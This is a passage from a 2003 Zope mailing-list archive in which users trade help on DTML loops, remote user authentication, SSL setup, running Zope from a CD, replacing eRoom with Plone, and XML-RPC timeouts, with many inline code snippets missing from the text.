to loop over. Control passes to the next line after . Since there is nothing after that tag, your return is a blank screen... or more accurately, a screen full of non-rendering whitespace. Try something like this instead: HTH, Dylan From brendan@oconn.org Mon Aug 4 05:39:24 2003 From: brendan@oconn.org (Brendan O'Connor) Date: Sun, 3 Aug 2003 21:39:24 -0700 Subject: [Zope] RemoteUserFolder and local user attributes Message-ID: <9FC61E2C-C635-11D7-95A9-000393DD0BDC@oconn.org> Hello all - I'm using the RemoteUserFolder product in an intranet portal that I've built for my company. So far the feedback has been overwhelmingly positive, with everyone starting to see the light. So far, authentication in my prototype site has been done within Zope. My IT dept supports an authentication mechanism that is done through apache allowing users to login using either their Unix or Windows passwords. It has been expressed to me as a requirement that I be able to use that information for logging users into the portal automatically. This problem would seem to be solved via the RemoteUserFolder since the authentication mechanism they use generates a REMOTE_USER field in the header. Unfortunately, the REMOTE_USER field is stuffed with a unique ID number (the employee ID number) rather than the more user friendly username. It's simple for me to get a mapping from employee ID number to username, but it is very expensive in terms of time. My initial implementation (which is a modification of RemoteUserFolder) just queries a database whenever a user needs to be authenticated to access an object. Naturally, this is very slow. Slow enough, in fact, to drive the load on the web server (normally 0.10-0.50) well over 2 whenever more than 1 person is accessing the portal. So, enough with my longwinded problem description ... I have considered the following solution (and would gladly entertain others, hint hint ..) When a new user is encountered, do the database lookup as part of the auto-add feature of RemoteUserFolder. Store the username as the user name and store the ID number as an attribute. That way, when a user needs to be authenticated, I can just match the ID number with the name within Zope and never have to go back to the database again. Seems reasonable ... only problem is that I can't figure out how to store the ID number as an attribute of the user. Any comments are welcome! Thanks in advance ... Regards, Brendan From jaseoldham89@yahoo.co.uk Mon Aug 4 08:09:19 2003 From: jaseoldham89@yahoo.co.uk (=?iso-8859-1?q?Jase=20Oldham?=) Date: Mon, 4 Aug 2003 08:09:19 +0100 (BST) Subject: [Zope] how to select selected optoin: newbie Message-ID: <20030804070919.95710.qmail@web11503.mail.yahoo.com> Hi, Ive been trying to make this select list auto select the request variable. ZSQL = getCountryMethod ( select * from world ZPT = index_html I have a form which submits a select option to zsql which then goes to index_html where i want the select to selected the variable in request that was sent. Hope this is clear. Jase ________________________________________________________________________ Want to chat instantly with your online friends? Get the FREE Yahoo! Messenger http://uk.messenger.yahoo.com/ From luca@wetron.es Mon Aug 4 08:09:29 2003 From: luca@wetron.es (Luca Olivetti) Date: Mon, 04 Aug 2003 09:09:29 +0200 Subject: [Zope] Installing SSL for Zope on Mandrake In-Reply-To: <01ac01c35873$2298fa00$a017a8c0@james> References: <01ac01c35873$2298fa00$a017a8c0@james> Message-ID: <3F2E06A9.6050608@wetron.es> Chris McDonough wrote: > Do you have the openssl development libraries installed? On one of my > systems, they come from the rpm entitled "openssl-devel-0.9.6-3". Hey, he told he was using Mandrake, no need to chase for a specific rpm ;-) Just issue urpmi openssl-devel as root and you should be done. Bye -- Luca Olivetti Wetron Automatización S.A. http://www.wetron.es/ Tel. +34 93 5883004 Fax +34 93 5883007 From jeremy@redcor.ch Mon Aug 4 08:34:23 2003 From: jeremy@redcor.ch (Jeremy Tammik) Date: Mon, 4 Aug 2003 09:34:23 +0200 Subject: [Zope] how to select selected optoin: newbie In-Reply-To: <20030804070919.95710.qmail@web11503.mail.yahoo.com> References: <20030804070919.95710.qmail@web11503.mail.yahoo.com> Message-ID: <200308040934.23798.jeremy@redcor.ch> On Monday 04 August 2003 09:09, Jase Oldham wrote: > Hi, > > Ive been trying to make this select list auto select > the request variable. > > > > ZSQL = getCountryMethod ( select * from world > ZPT = index_html > > I have a form which submits a select option to zsql > which then goes to index_html where i want the select > to selected the variable in request that was sent. > > Hope this is clear. > > Jase > hi jase, i use something like the following to set the 'selected' attribute using tal:attributes for the option i want to preselect: Language cheers jeremy From edegoute@nuxeo.com Mon Aug 4 08:38:54 2003 From: edegoute@nuxeo.com (Encolpe DEGOUTE) Date: Mon, 4 Aug 2003 09:38:54 +0200 Subject: [Zope] [ANN] TextIndexNG 2.0.1 released References: <2147483647.1059901935@[192.168.0.100]> Message-ID: <20030804093854.606b1f72.edegoute@nuxeo.com> On Sun, 03 Aug 2003 09:12:15 +0200 Andreas Jung wrote: > I just released TextIndexNG 2.0.1. This release fixes a major bug in the= =20 > querying > interface and has improved support for indexing Excel and Powerpoint files > on Win32. Also there is a better integration with the ZMS Publishing Syst= em=20 > and > files attached to TTWObject instances. >=20 > This release is available from Sourceforge only (because of the ongoing > zope.org migration): >=20 > http://sourceforge.net/project/showfiles.php?group_id=3D50052 I have compiled it with Python2.2.3 for Zope 2.7b1, it seems work. If you have any confirmation of that, please change the INSTALL file. --=20 Encolpe DEGOUTE, Ing=E9nieur Logiciel, Nuxeo SARL: Zope Service Provider. Mail: edegoute@nuxeo.com - Tel: +33 (0)1 40 33 79 18 Nuxeo Collaborative Portal Server: http://www.nuxeo.com/cps Gestion de contenu web / portail collaboratif / groupware / open source From marc@sharedbase.com Mon Aug 4 09:39:32 2003 From: marc@sharedbase.com (Marc Burgauer) Date: Mon, 04 Aug 2003 09:39:32 +0100 Subject: [Zope] Site on a CD for Windows? Message-ID: Hi We have developed a vertical market web solution for a reseller. We have also developed a demo web site for the reseller to show potential customers what the solution can do for them. After a few weeks of sales activities, it shows that a lot of their prospects do not yet have internet access. So when visiting them, the reseller can not demonstrate the solution. The sales people have asked us, if it would be possible to have the site on a CD. I can see two ways of doing this: 1.) Create a "static" version of the site that shows a set of pages illustrating what the solution could do. This would of course fail to demo the solution working. 2.) The more interesting thing would be to create a CD with a working version of Zope for Windows. As we're totally UNIX, I have absolutely no idea if this would be possible. I know Zope works Windows. What I don't know is how difficult is it to get it running. Can a normal Windows user (with no access to the Administrator's account) double-click a single .exe to get the sever running? (The sales people are not technical!) I envision a scenario like this: - Insert CD into PC - Run an "automatic installer" (Everything pre-configured, maybe with the exception as to where the files are installed to) - Open location of installation and double-click an .exe file - Open browser an point at 127.0.0.1:8080 (or something alike) My questions: Has somebody created something like this for Windows and could point me towards what I need to do? Is there free software to create the installer, ideally supporting an easy way to un-install as well? What requirements exist on Windows? (In other words, what can go wrong?) Cheers Marc From borja.prieto@alanta.info Mon Aug 4 09:44:31 2003 From: borja.prieto@alanta.info (Borja Prieto) Date: Mon, 4 Aug 2003 10:44:31 +0200 Subject: [Zope] Problem with dtml-if sequence-start (solved) In-Reply-To: <1059963491.12788.253.camel@ida.dylanreinhardt.com> Message-ID: Dear Dylan Thank you for your help. It works all right now. Best regards Borja Prieto Alanta > -----Mensaje original----- > De: zope-admin@zope.org [mailto:zope-admin@zope.org]En nombre de Dylan > Reinhardt > Enviado el: lunes, 04 de agosto de 2003 6:05 > Para: Borja Prieto > CC: zope@zope.org > Asunto: RE: [Zope] Problem with dtml-if sequence-start > > > On Sun, 2003-08-03 at 16:14, Borja Prieto wrote: > > Here is my code now: > > > > > > "RESPONSE.redirect(URL1+'/InicioIC'+'?msg_error=Error: debe > > introducir un número de certificado')"> > > > > > > > > "RESPONSE.redirect(URL1+'/InicioIC'+'?msg_error=Error: > > el certificado '+txtCertificado+' ya existe')"> > > > > > "RESPONSE.redirect(URL1+'/IC'+'?txtCertificado='+txtCertificado)"> > > > [snip] > > But when it finds the third case (there is a value for > txtCertificado, and > > it is not already in the database) it does nothing. > > That's because there is no possible case where the third dtml-call will > ever be invoked. If BuscaCertificado is empty (no records found), > there's nothing for dtml-in to loop over. Control passes to the next > line after
. Since there is nothing after that tag, your > return is a blank screen... or more accurately, a screen full of > non-rendering whitespace. > > Try something like this instead: > > > > > > > > > > > > HTH, > > Dylan > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From dieter.fischer@grid-it.ch Mon Aug 4 09:54:16 2003 From: dieter.fischer@grid-it.ch (Dieter Fischer (grid-it)) Date: Mon, 4 Aug 2003 10:54:16 +0200 Subject: [Zope] Site on a CD for Windows? In-Reply-To: Message-ID: <000601c35a65$fbf303b0$0a00a8c0@dfw> Hello Marc > 2.) The more interesting thing would be to create a CD with a working > version of Zope for Windows. Look at http://www.zope.org/Members/jens/docs/zope_on_cdrom This works like a charm. The only bottleneck is the speed of the CD-ROM, <= 4 speed didn't work, but these types are from the last century ;-) Regards Dieter From Andreas Jung Mon Aug 4 09:55:17 2003 From: Andreas Jung (Andreas Jung) Date: Mon, 04 Aug 2003 10:55:17 +0200 Subject: [Zope] Site on a CD for Windows? In-Reply-To: References: Message-ID: <2147483647.1059994517@[192.168.0.100]> --On Montag, 4. August 2003 9:39 Uhr +0100 Marc Burgauer wrote: > > My questions: > Has somebody created something like this for Windows and could point me > towards what I need to do? I know of at least one example. A company from Berlin produced a Zope-based CD application containing a list of drugs available/allowed in Germany ("Rote Liste"). If necessary I could give you a contact address. > Is there free software to create the installer, ideally supporting an easy > way to un-install as well? > What requirements exist on Windows? (In other words, what can go wrong?) There are some...maybe google it. -aj From chrisw@nipltd.com Mon Aug 4 11:50:37 2003 From: chrisw@nipltd.com (Chris Withers) Date: Mon, 04 Aug 2003 11:50:37 +0100 Subject: [Zope] request.set sequence value In-Reply-To: <001601c35940$0f723db0$9700000a@MICHAEL> References: <007401c352b0$847863f0$9700000a@MICHAEL> <3F293997.5020903@nipltd.com> <00ca01c35832$fb051810$9700000a@MICHAEL> <3F2BCA05.2060804@nipltd.com> <001601c35940$0f723db0$9700000a@MICHAEL> Message-ID: <3F2E3A7D.80604@nipltd.com> Michael Bleijerveld wrote: > When I use this statement I get the following error. > > Error Type: AttributeError > Error Value: set Your REQUEST object has no set method? That's pretty baffling... Try doing instead of your code below (ie: in the situation which is causing the 'set' error and see what you get... cheers, Chris From chrisw@nipltd.com Mon Aug 4 11:51:42 2003 From: chrisw@nipltd.com (Chris Withers) Date: Mon, 04 Aug 2003 11:51:42 +0100 Subject: [Zope] Cookie Crumbler - How do I use it? In-Reply-To: <211AD0070D42D1118C7B00A024FF19AE2EBEFD@AUHEXCH> References: <211AD0070D42D1118C7B00A024FF19AE2EBEFD@AUHEXCH> Message-ID: <3F2E3ABE.3090000@nipltd.com> Samir Mishra wrote: > OK I seem to be really dense on this, just can't figure out how to actually > use the cookie crumbler product for form based authentication. Would someone > have an easy sample I could learn from? Just add a Cookie Crumbler in the same folder as your users folder. Not close all your browsers, and then go back to a URL that requires authentication from that user folder... Chris From chrisw@nipltd.com Mon Aug 4 11:52:55 2003 From: chrisw@nipltd.com (Chris Withers) Date: Mon, 04 Aug 2003 11:52:55 +0100 Subject: [Zope] User info In-Reply-To: <20030802165207.82439.qmail@web14502.mail.yahoo.com> References: <20030802165207.82439.qmail@web14502.mail.yahoo.com> Message-ID: <3F2E3B07.6090903@nipltd.com> Rex McKanry wrote: > I was wondering if there is away to capture the users > ID when I have someone login. I want to get the user > name and find it in a database to determine if this > person is a supervisor or not. Then let them see > screens that others are not allowed access to. You should be using Zope roles to do this. Have a read up on them. Depending on where your usersnames and roles come from, you may want to change the userfolder you're using. Sounds like this could be pretty cimply scripted with SimpleUserFolder... cheers, Chris From chrisw@nipltd.com Mon Aug 4 11:55:12 2003 From: chrisw@nipltd.com (Chris Withers) Date: Mon, 04 Aug 2003 11:55:12 +0100 Subject: [Zope] ExternalEditor and Zope's gzip compression, in Windows In-Reply-To: References: Message-ID: <3F2E3B90.6060705@nipltd.com> Ausum Studio wrote: > use_HTTP_content_compression = 1 From some posts in the archives, you'll find that this isn't the right way to enable HTTP content compression... > expect the problem that every time you click at the icon to launch the > editor, Windows will start to ask for what to do with the to-download file. > If you respond to open, then it will trigger the File Types dialog box, > asking for the right app to open it. In other words, you'll be tempted to > reinstall ExternalEditor. :) ...but this sounds like a bug similar to one people have experienced in other circumstances with http content compression. IIRC, the person who implemented this is lurking on the list, so hopefully will get back to you... cheers Chris From chrisw@nipltd.com Mon Aug 4 11:56:04 2003 From: chrisw@nipltd.com (Chris Withers) Date: Mon, 04 Aug 2003 11:56:04 +0100 Subject: [Zope] [ANN] TextIndexNG 2.0.1 released In-Reply-To: <2147483647.1059901935@[192.168.0.100]> References: <2147483647.1059901935@[192.168.0.100]> Message-ID: <3F2E3BC4.9070007@nipltd.com> Andreas Jung wrote: > on Win32. Also there is a better integration with the ZMS Publishing > System and What's ZMS? Chris From chrisw@nipltd.com Mon Aug 4 11:58:29 2003 From: chrisw@nipltd.com (Chris Withers) Date: Mon, 04 Aug 2003 11:58:29 +0100 Subject: [Zope] Extrange behavior with numeric datatypes and decimal places In-Reply-To: <3F2DD78B.5090903@yahoo.com.ar> References: <3F2DD78B.5090903@yahoo.com.ar> Message-ID: <3F2E3C55.1070306@nipltd.com> Luis Mariano Luporini wrote: > in zope I get a result of 3.0 (why just one decimal place?) What code are you using that displays this? cheers, Chris From chrisw@nipltd.com Mon Aug 4 12:04:43 2003 From: chrisw@nipltd.com (Chris Withers) Date: Mon, 04 Aug 2003 12:04:43 +0100 Subject: [Zope] how to select selected optoin: newbie In-Reply-To: <200308040934.23798.jeremy@redcor.ch> References: <20030804070919.95710.qmail@web11503.mail.yahoo.com> <200308040934.23798.jeremy@redcor.ch> Message-ID: <3F2E3DCB.4050308@nipltd.com> Jeremy Tammik wrote: >>Ive been trying to make this select list auto select >>the request variable. >> >> >> >>ZSQL = getCountryMethod ( select * from world >>ZPT = index_html >> >>I have a form which submits a select option to zsql >>which then goes to index_html where i want the select >>to selected the variable in request that was sent. cheers, Chris From jim@ebizq.net Mon Aug 4 12:24:48 2003 From: jim@ebizq.net (Jim Kutter) Date: Mon, 4 Aug 2003 07:24:48 -0400 Subject: [Zope] When Inheritance ISN'T Such A Good Idea... Message-ID: beno -=20 Our site makes heavy use of python scripts which are in the "root" of the site to provide simple display URLs. These scripts make use of the traverse_subpath variable to do this. For example our site has the url "/topics//features/.html" Topics is a pythonscript which reads the traverse_subpath list and based on the url entered, returns a different display method. These display methods are nested in a deep directory structure in zope to make efficent use of acquisition. So going off the example, if only the name is present; then the topics script returns=20 context.views.topics.details.body Where /views/topics/details/body is either a zpt/dtml/python script that produces the body of the page. If the whole URL is present, the script returns context.views.features.details.body A whole different body method that displays features. This may or may not help you, but I mention it here as an alternative way of doing things. -jim -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org] On Behalf Of beno Sent: Saturday, August 02, 2003 1:15 AM To: J Cameron Cooper Cc: zope@zope.org Subject: Re: [Zope] When Inheritance ISN'T Such A Good Idea... At 11:26 AM 8/1/2003 -0500, you wrote: >>Search engines don't like Web sites with deep directory structures. I use=20 >>such structure to develop my Web sites to take advantage of inheritance.=20 >>I keep all my Python scripts in a separate directory as well as the basic=20 >>content of each page. This, of course, makes things neat and tidy in my=20 >>Zope. So I don't want to simply throw everything in the root dir! Is=20 >>there a way to call scripts and Template Pages from other pages such that=20 >>it renders as a simple URL without deep directories (e.g.,=20 >>http://mysite.com/main.html ) or frames? > >Just to be picky, it's acquisition rather than inheritance. Certainly=20 >they're similar concepts, but not quite the same. > >There is a beast called TransparentFolder that does what you describe:=20 >reverse acquisition. >http://www.zope.org/Members/hathawsh/TransparentFolders > >It has some known performance consequences. > >If you really mean "call", then you can do things like=20 >"root.scripts.someScript". If you mean "link to", then I'm afraid that=20 >things in general live where they live. > >There are also things like PortableHole, MovedObject, References, et al.=20 >(Also Redirector and Rewriter, which I never did get working.) Thanks for the direction. beno From lsh@wo.cz Mon Aug 4 08:17:22 2003 From: lsh@wo.cz (Jaroslav Lukesh) Date: Mon, 4 Aug 2003 09:17:22 +0200 Subject: [Zope] request.set sequence value Message-ID: <3F2692A8000ED3D0@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes=EDlatel: Michael Bleijerveld > When I use this statement I get the following error. >=20 > Error Type: AttributeError > Error Value: set > Greetings,Michael----- Original Message -----=20 > From: "Chris Withers" > > > Here are the statements which generates an error. > > > > > > > > > > > next-sequence-start-number>)"> > > > > Okay, you can't do this! > > > > you want: > > > > "REQUEST.set('query_start',_.getitem('next-sequence-start-number'))"> > > Hi, try that: Regards, JL. From michael@bleijerveld.nl Mon Aug 4 13:10:53 2003 From: michael@bleijerveld.nl (Michael Bleijerveld) Date: Mon, 4 Aug 2003 14:10:53 +0200 Subject: [Zope] request.set sequence value References: <007401c352b0$847863f0$9700000a@MICHAEL> <3F293997.5020903@nipltd.com> <00ca01c35832$fb051810$9700000a@MICHAEL> <3F2BCA05.2060804@nipltd.com> <001601c35940$0f723db0$9700000a@MICHAEL> <3F2E3A7D.80604@nipltd.com> Message-ID: <00e101c35a81$744ab540$9700000a@MICHAEL> Hi Chris, The following message is displayed . Has this something to do with permissions ? Regards, Michael ----- Original Message ----- From: "Chris Withers" To: "Michael Bleijerveld" Cc: Sent: Monday, August 04, 2003 12:50 PM Subject: Re: [Zope] request.set sequence value > Michael Bleijerveld wrote: > > > When I use this statement I get the following error. > > > > Error Type: AttributeError > > Error Value: set > > Your REQUEST object has no set method? That's pretty baffling... > > Try doing instead of your code below (ie: in the > situation which is causing the 'set' error and see what you get... > > cheers, > > Chris > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From hambletn@netvigator.com Mon Aug 4 14:50:09 2003 From: hambletn@netvigator.com (Neil Hambleton) Date: Mon, 4 Aug 2003 21:50:09 +0800 Subject: [Zope] Open Source Software Survey Message-ID: <003d01c35a8f$522b79f0$0100a8c0@neil> Hello Zope Contributors, I am studying for a Master's degree with Henley Management College in the UK, and in the past have used a variety of Open Source Software. As part of my course I am conducting a survey in an attempt to identify the critical success factors for Open Source projects. If you are a user or developer for Zope, I would be very grateful if you could spare 2 or 3 minutes to fill in my questionnaire at the following URL: http://surveys.ideoconcepts.com/surveyor/index.php?sid=4&projectid=Zope This survey is completely confidential. Please accept my apologies if this is regarded as an off-topic posting. Thank you very much for your help, Neil Hambleton Email: hambletn@netvigator.com From lluporini@yahoo.com.ar Mon Aug 4 14:49:51 2003 From: lluporini@yahoo.com.ar (Luis Mariano Luporini) Date: Mon, 04 Aug 2003 10:49:51 -0300 Subject: [Zope] Extrange behavior with numeric datatypes and decimal places In-Reply-To: <3F2DD78B.5090903@yahoo.com.ar> References: <3F2DD78B.5090903@yahoo.com.ar> <3F2E3C55.1070306@nipltd.com> Message-ID: <3F2E647F.6010804@yahoo.com.ar> I've put "select 3::numeric(10,2)" in a zsql method, in a zpt that calls that method and in the test tab of a zpsycopg database connection object getting the same results on all of them. Thanks. Luis. Chris Withers wrote: > Luis Mariano Luporini wrote: > >> in zope I get a result of 3.0 (why just one decimal place?) > > > What code are you using that displays this? > > cheers, > > Chris > From rlinan@truality.com Mon Aug 4 15:16:56 2003 From: rlinan@truality.com (Ramon Linan) Date: Mon, 4 Aug 2003 10:16:56 -0400 Subject: [Zope] online collaboration tool Message-ID: Hi, Here is the situation, My company is using eroom, they spent lot of money every month paying = this tool, eroom is an online collaboration tool, I know that can be = done with Zope, I am just starting using Zope, I Love it... the fact is = that they want to get rid of it and me, I need some good argument for = not loosing my job... I think if I can convince then of letting me = developed a Zope version of eroom that would keep me safe here for a = while. My question is... which product can I use to do online collaboration?=20 Thanks -----Original Message----- From: Neil Hambleton [mailto:hambletn@netvigator.com] Sent: Monday, August 04, 2003 9:50 AM To: zope@zope.org Subject: [Zope] Open Source Software Survey Hello Zope Contributors,=20 I am studying for a Master's degree with Henley Management College in=20 the UK, and in the past have used a variety of Open Source Software.=20 As part of my course I am conducting a survey in an attempt to identify=20 the critical success factors for Open Source projects. If you are a user = or developer for Zope, I would be very grateful if you could spare=20 2 or 3 minutes to fill in my questionnaire at the following URL:=20 http://surveys.ideoconcepts.com/surveyor/index.php?sid=3D4&projectid=3DZo= pe=20 =20 This survey is completely confidential.=20 Please accept my apologies if this is regarded as an off-topic posting.=20 Thank you very much for your help, Neil Hambleton Email: hambletn@netvigator.com _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists -=20 http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From gordon@gortek.com Mon Aug 4 15:31:22 2003 From: gordon@gortek.com (Gordon Sullivan) Date: Mon, 4 Aug 2003 10:31:22 -0400 Subject: [Zope] acl_users Message-ID: <1060007482.3f2e6e3a20bc1@gps> Hello all, I added a ZWiki to my site, but there wasn't an option to create an acl_users object in its directory when I added it. There isn't an option in the "add object drop-down list" --How can I add an acl_users object to it's directory? Thanks, Gordon From throwaway@MIT.EDU Mon Aug 4 15:36:50 2003 From: throwaway@MIT.EDU (Alex Coventry) Date: Mon, 04 Aug 2003 10:36:50 -0400 Subject: [Zope] online collaboration tool In-Reply-To: (Ramon Linan's message of "Mon, 4 Aug 2003 10:16:56 -0400") References: Message-ID: > My company is using eroom, they spent lot of money every month paying > this tool, eroom is an online collaboration tool, I know that can be > done with Zope, I am just starting using Zope, I Love it... the fact > is that they want to get rid of it and me, I need some good argument > for not loosing my job... I think if I can convince then of letting me > developed a Zope version of eroom that would keep me safe here for a > while. I used plone for just this purpose, getting rid of e-room. (except the keeping-my-job part. :) I suggest you discuss it with your boss before you start on it, though. It's easy once you know how, but it was a bit of work for me. It may take you more than longer than an empty afternoon. I have found it relatively painless once it was going, though. OTOH, I recommended it to a friend, and he has found it to be a pain in the neck. YMMV. I strongly recommend installing and using TextIndexNG, as well as plone's explicit dependancies. This allows indexing of word documents, PDFs, etc. You do this by replacing the SearchableText object in the Indexes section of the portal_catalog with a TextIndexNG object. You want to turn on the "use converters" option when you install it. Then you click the "Reindex" button in the Indexes page. You may also want to play with the workflow, depending on how you want to use it for collaboration. One way to do this is to make Published the Initial State in the States tab of the workflow tabs. I also stuck my Zope web and webDAV services behind Apache SSL proxies. For that, a Virtual Host Monster is useful. HTH. Alex. From allison@sumeru.stanford.EDU Mon Aug 4 15:45:16 2003 From: allison@sumeru.stanford.EDU (Dennis Allison) Date: Mon, 4 Aug 2003 07:45:16 -0700 (PDT) Subject: [Zope] RH9 experiences Message-ID: I am bringing up a new system (dual Athlon, RAID, 4GB memory, etc) and have been planning to use RH9 with Zope fronted by Pound. That configuration has been a good one for us under RH7.3, but I decided RH9 was a better choice because it has a longer support lifetime and because it supports CPU affinity. Several people reported here that they had problems with RH9 and threads but that upgrading to the latest version of glibc and the kernel (and, possibly, exporting LD_ASSUME_KERNEL=2.4.1) would make everything work. So, I rebuilt Python 2.1.3 and Pound under RH9, the latter taking a bit of effort as the interfaces to ssl have changed. Zope starts, serves the initial screen, and things die. It's not even possible to get to the management screen. The left frame comes up all right, the right doesn't display although the GETs show in the log. The LD_ASSUME_KERNEL variable seems to have no effect on Zope's behavior. Running without Pound seems to fare better, so the real thread problem may lie with Pound. Anyone encountered similar problems and solved them? From edegoute@nuxeo.com Mon Aug 4 15:55:06 2003 From: edegoute@nuxeo.com (Encolpe DEGOUTE) Date: Mon, 4 Aug 2003 16:55:06 +0200 Subject: [Zope] online collaboration tool References: Message-ID: <20030804165506.0180c2da.edegoute@nuxeo.com> On Mon, 4 Aug 2003 10:16:56 -0400 "Ramon Linan" wrote: > Hi, >=20 > Here is the situation, > My company is using eroom, they spent lot of money every month paying thi= s tool, eroom is an online collaboration tool, I know that can be done with= Zope, I am just starting using Zope, I Love it... the fact is that they wa= nt to get rid of it and me, I need some good argument for not loosing my jo= b... I think if I can convince then of letting me developed a Zope version = of eroom that would keep me safe here for a while. >=20 > My question is... which product can I use to do online collaboration?=20 You can use the nuxeo groupware suite for CPS (Collaborative Portal Server) http://www.nuxeo.org/groupwaresuite CPS alone can be done your job too. http://www.nuxeo.org/cps http://www.nuxeo.org/cps/CPS_RELEASE_2.2rc2_pre1.tgz --=20 Encolpe DEGOUTE, Ing=E9nieur Logiciel, Nuxeo SARL: Zope Service Provider. Mail: edegoute@nuxeo.com - Tel: +33 (0)1 40 33 79 18 Nuxeo Collaborative Portal Server: http://www.nuxeo.com/cps Gestion de contenu web / portail collaboratif / groupware / open source From rlinan@truality.com Mon Aug 4 16:00:51 2003 From: rlinan@truality.com (Ramon Linan) Date: Mon, 4 Aug 2003 11:00:51 -0400 Subject: [Zope] online collaboration tool Message-ID: Alex, Thank you very much, it looks exactly like the thing I am looking for. = Now, I am going to try to impress then. I have a question though, I have a REDHAT with zope and several windows = 2000 servers, which one will you advice me to install it in? Thanks -----Original Message----- From: Alex Coventry [mailto:throwaway@MIT.EDU] Sent: Monday, August 04, 2003 10:37 AM To: Ramon Linan Cc: zope@zope.org Subject: Re: [Zope] online collaboration tool > My company is using eroom, they spent lot of money every month paying > this tool, eroom is an online collaboration tool, I know that can be > done with Zope, I am just starting using Zope, I Love it... the fact > is that they want to get rid of it and me, I need some good argument > for not loosing my job... I think if I can convince then of letting me > developed a Zope version of eroom that would keep me safe here for a > while. I used plone for just this purpose, getting rid of e-room. (except the keeping-my-job part. :) I suggest you discuss it with your boss before you start on it, though. It's easy once you know how, but it was a bit of work for me. It may take you more than longer than an empty afternoon. I have found it relatively painless once it was going, though. OTOH, I recommended it to a friend, and he has found it to be a pain in the neck. YMMV. I strongly recommend installing and using TextIndexNG, as well as plone's explicit dependancies. This allows indexing of word documents, PDFs, etc. You do this by replacing the SearchableText object in the Indexes section of the portal_catalog with a TextIndexNG object. You want to turn on the "use converters" option when you install it. Then you click the "Reindex" button in the Indexes page. You may also want to play with the workflow, depending on how you want to use it for collaboration. One way to do this is to make Published the Initial State in the States tab of the workflow tabs. I also stuck my Zope web and webDAV services behind Apache SSL proxies. For that, a Virtual Host Monster is useful. HTH. Alex. From throwaway@MIT.EDU Mon Aug 4 15:59:23 2003 From: throwaway@MIT.EDU (Alex Coventry) Date: Mon, 04 Aug 2003 10:59:23 -0400 Subject: [Zope] online collaboration tool In-Reply-To: (Ramon Linan's message of "Mon, 4 Aug 2003 11:00:51 -0400") References: Message-ID: I installed it on a debian machine. My administration experience with anything else is so limited as to be useless, I'm afraid. Alex. From khcarlso@bellsouth.net Mon Aug 4 17:03:54 2003 From: khcarlso@bellsouth.net (Kevin Carlson) Date: Mon, 04 Aug 2003 12:03:54 -0400 Subject: [Zope] xml-rpc question Message-ID: <3F2E83EA.5030901@bellsouth.net> Hi all, I need to run a python script called via xml-rpc that is kicked off by a cron job. This script will be making several dozen, perhaps over 100, different http requests to external servers, some of which can be quite slow on the return. I am curious to know if I am likely to receive a http timeout on this if the xml-rpc request takes a long time -- seems to me that that would happen. Also, curious to know whether anyone has done something like this before and may know of a better way, perhaps using threads, or another mechanism that would let the xml-rpc call return (without a timeout) while the remainder of the work is being done. I'd like to avoid changing the timeout value on Apache since I don't want to change this across the board, if possible. Any ideas? Any known recipes out there? Thanks, Kevin From zope@dylanreinhardt.com Mon Aug 4 18:20:27 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 04 Aug 2003 10:20:27 -0700 Subject: [Zope] online collaboration tool In-Reply-To: References: Message-ID: <1060017627.12788.548.camel@ida.dylanreinhardt.com> On Mon, 2003-08-04 at 08:00, Ramon Linan wrote: > I have a REDHAT with zope and several windows 2000 servers, which one will you advice me to install it in? It hardly matters for development purposes. I'd choose whichever one you feel most comfortable with or have root/admin privileges on. Probably you can run it as localhost:8080 on your desktop machine. The only real advice I'd offer is this: Don't do your development or learning on a machine currently being used as a production server. That's a *very* poor way to build job security. :-) As long as all the machines in question are reasonably modern there's little chance you're going to see a big performance difference until your app gets used by more than a handful of people. At that point, it's pretty easy to move from Windows to Linux or vice versa. HTH, Dylan From jens@zope.com Mon Aug 4 18:23:30 2003 From: jens@zope.com (Jens Vagelpohl) Date: Mon, 4 Aug 2003 13:23:30 -0400 Subject: [Zope] xml-rpc question In-Reply-To: <3F2E83EA.5030901@bellsouth.net> Message-ID: <5DED48BE-C6A0-11D7-A51B-000393D58818@zope.com> > I need to run a python script called via xml-rpc that is kicked off by > a cron job. This script will be making several dozen, perhaps over > 100, different http requests to external servers, some of which can be > quite slow on the return. > > I am curious to know if I am likely to receive a http timeout on this > if the xml-rpc request takes a long time -- seems to me that that > would happen. Also, curious to know whether anyone has done something > like this before and may know of a better way, perhaps using threads, > or another mechanism that would let the xml-rpc call return (without a > timeout) while the remainder of the work is being done. I'd like to > avoid changing the timeout value on Apache since I don't want to > change this across the board, if possible. > Depending on what you use the received HTML pages for, you could also periodically request them outside of zope with a simple script (wget or curl etc) and dump them onto the file system. Then zope could read them from there. jens From pw_lists@slinkp.com Mon Aug 4 18:50:54 2003 From: pw_lists@slinkp.com (Paul Winkler) Date: Mon, 4 Aug 2003 13:50:54 -0400 Subject: [Zope] xml-rpc question In-Reply-To: <3F2E83EA.5030901@bellsouth.net> References: <3F2E83EA.5030901@bellsouth.net> Message-ID: <20030804175054.GA1048@slinkp.com> On Mon, Aug 04, 2003 at 12:03:54PM -0400, Kevin Carlson wrote: > Hi all, > > I need to run a python script called via xml-rpc that is kicked off by a > cron job. This script will be making several dozen, perhaps over 100, > different http requests to external servers, some of which can be quite > slow on the return. > > I am curious to know if I am likely to receive a http timeout on this if > the xml-rpc request takes a long time -- seems to me that that would > happen. It can happen. We get this sometimes when using zsyncer to sync large amounts of stuff. It seems to depend on the client: IE seems to have its own timeout, regardless of what the server does; whereas Mozilla seems to be happy to wait for ages. > Also, curious to know whether anyone has done something like > this before and may know of a better way, perhaps using threads, or > another mechanism that would let the xml-rpc call return (without a > timeout) while the remainder of the work is being done. I'd like to > avoid changing the timeout value on Apache since I don't want to change > this across the board, if possible. > > Any ideas? Any known recipes out there? I'm not clear - are you worried about each xml-rpc call timing out, or the whole 